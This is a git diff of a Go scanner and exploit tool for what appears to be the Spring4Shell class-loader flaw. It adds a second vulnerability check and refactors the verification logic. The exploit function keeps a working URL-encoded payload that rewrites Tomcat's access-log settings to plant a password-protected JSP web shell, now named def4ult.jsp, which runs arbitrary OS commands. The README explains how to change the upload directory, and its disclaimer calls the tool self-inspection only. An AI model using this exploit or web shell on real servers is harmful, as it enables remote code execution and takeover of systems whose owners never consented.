diff --git a/README.md b/README.md
index c0fe9a4..7b78f02 100644
--- a/README.md
+++ b/README.md
@@ -45,6 +45,12 @@ http://127.0.0.1:8181/
 echo http://127.0.0.1:8181/ | go run main.go -m exploit -v
 ```
 
+Maybe require changing the file upload path, which by default is "webapps/ROOT"
+
+```
+class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT/
+```
+
 ## Disclaimer
 
 This procedure is for security self-inspection only, please consciously comply with local laws.
\ No newline at end of file
diff --git a/main.go b/main.go
index faaf07e..b237097 100644
--- a/main.go
+++ b/main.go
@@ -172,13 +172,14 @@ func targetParser(target string) []string {
 	return res
 }
 
-func verify(target interface{}) {
+func checkMethodOne(target interface{}) string {
 	t := target.(string)
 	client1 := resty.New()
 	client1.SetTimeout(15 * time.Second)
 	resp1, err := client1.R().SetQueryParam("class.module.classLoader.DefaultAssertionStatus", "true").Get(t)
 	if err != nil {
 		gologger.Warning().Msg("Request1 error: " + t)
+		return ""
 	} else {
 		if resp1.StatusCode() == http.StatusOK {
 			//第2个请求(发送如下数据包获取400)
@@ -187,10 +188,12 @@ func verify(target interface{}) {
 			resp2, err := client2.R().SetQueryParam("class.module.classLoader.DefaultAssertionStatus", "x").Get(t)
 			if err != nil {
 				gologger.Warning().Msg("Request2 error: " + t)
+				return ""
 			} else {
 				if resp2.StatusCode() == http.StatusBadRequest {
 					gologger.Info().Msg(t + " is vulnerable")
-					finalresult = append(finalresult, t)
+					//finalresult = append(finalresult, t)
+					return t
 				}
 			}
 		} else {
@@ -199,6 +202,7 @@ func verify(target interface{}) {
 			resp3, err := client3.R().SetHeader("Content-Type", "application/x-www-form-urlencoded").SetBody("class.module.classLoader.DefaultAssertionStatus=true").Post(t)
 			if err != nil {
 				gologger.Warning().Msg("Request3 error: " + t)
+				return ""
 			} else {
 				if resp3.StatusCode() == http.StatusOK {
 					client4 := resty.New()
@@ -206,20 +210,73 @@ func verify(target interface{}) {
 					resp4, err := client3.R().SetHeader("Content-Type", "application/x-www-form-urlencoded").SetBody("class.module.classLoader.DefaultAssertionStatus=x").Post(t)
 					if err != nil {
 						gologger.Warning().Msg("Request4 error: " + t)
+						return ""
 					} else {
 						if resp4.StatusCode() == http.StatusBadRequest {
 							gologger.Info().Msg(t + " is vulnerable")
-							finalresult = append(finalresult, t)
+							//finalresult = append(finalresult, t)
+							return t
 						} else {
-							gologger.Warning().Msg("no vulnerable")
+							//gologger.Warning().Msg("no vulnerable")
+							return ""
 						}
 					}
 				} else {
-					gologger.Warning().Msg("no vulnerable")
+					//gologger.Warning().Msg("no vulnerable")
+					return ""
 				}
 			}
 		}
 	}
+	return ""
+}
+
+func checkMethodTwo(target interface{}) string {
+	t := target.(string)
+	client1 := resty.New()
+	client1.SetTimeout(15 * time.Second)
+	resp1, err := client1.R().SetQueryParam("class.module.classLoader.URLs[a0]", "").Get(t)
+	if err != nil {
+		gologger.Warning().Msg("Request1 error: " + t)
+		return ""
+	} else {
+		if resp1.StatusCode() == http.StatusBadRequest || resp1.StatusCode() == http.StatusInternalServerError {
+			gologger.Info().Msg(t + " is vulnerable")
+			//finalresult = append(finalresult, t)
+			return t
+		} else {
+			client2 := resty.New()
+			client2.SetTimeout(15 * time.Second)
+			resp2, err := client2.R().SetHeader("Content-Type", "application/x-www-form-urlencoded").SetBody("class.module.classLoader.URLs[a0]=").Post(t)
+			if err != nil {
+				gologger.Warning().Msg("Request2 error: " + t)
+				return ""
+			} else {
+				if resp2.StatusCode() == http.StatusInternalServerError {
+					gologger.Info().Msg(t + " is vulnerable")
+					//finalresult = append(finalresult, t)
+					return t
+				} else {
+					//gologger.Warning().Msg("no vulnerable")
+					return ""
+				}
+			}
+		}
+	}
+}
+
+func verify(target interface{}) {
+	resultOne := checkMethodOne(target)
+	if resultOne != "" {
+		finalresult = append(finalresult, resultOne)
+	} else {
+		resultTwo := checkMethodTwo(target)
+		if resultTwo != "" {
+			finalresult = append(finalresult, resultTwo)
+		} else {
+			gologger.Warning().Msg("no vulnerable")
+		}
+	}
 }
 
 func checkAlive(target string) bool {
@@ -236,7 +293,7 @@ func checkAlive(target string) bool {
 
 func exploit(target interface{}) {
 	t := target.(string)
-	url := t + "/d3fault.jsp"
+	url := t + "/def4ult.jsp"
 
 	if checkAlive(t) {
 		client := resty.New()
@@ -249,7 +306,7 @@ func exploit(target interface{}) {
 			"Content-Type": "application/x-www-form-urlencoded",
 		})
 
-		resp, err := client.R().SetBody([]byte(`class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22rat%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT/&class.module.classLoader.resources.context.parent.pipeline.first.prefix=d3fault&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=`)).Post(t)
+		resp, err := client.R().SetBody([]byte(`class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22rat%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT/&class.module.classLoader.resources.context.parent.pipeline.first.prefix=def4ult&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=`)).Post(t)
 		fmt.Println("Status:", resp.Status())
 		for key, value := range resp.Header() {
 			fmt.Println(key, "=", value)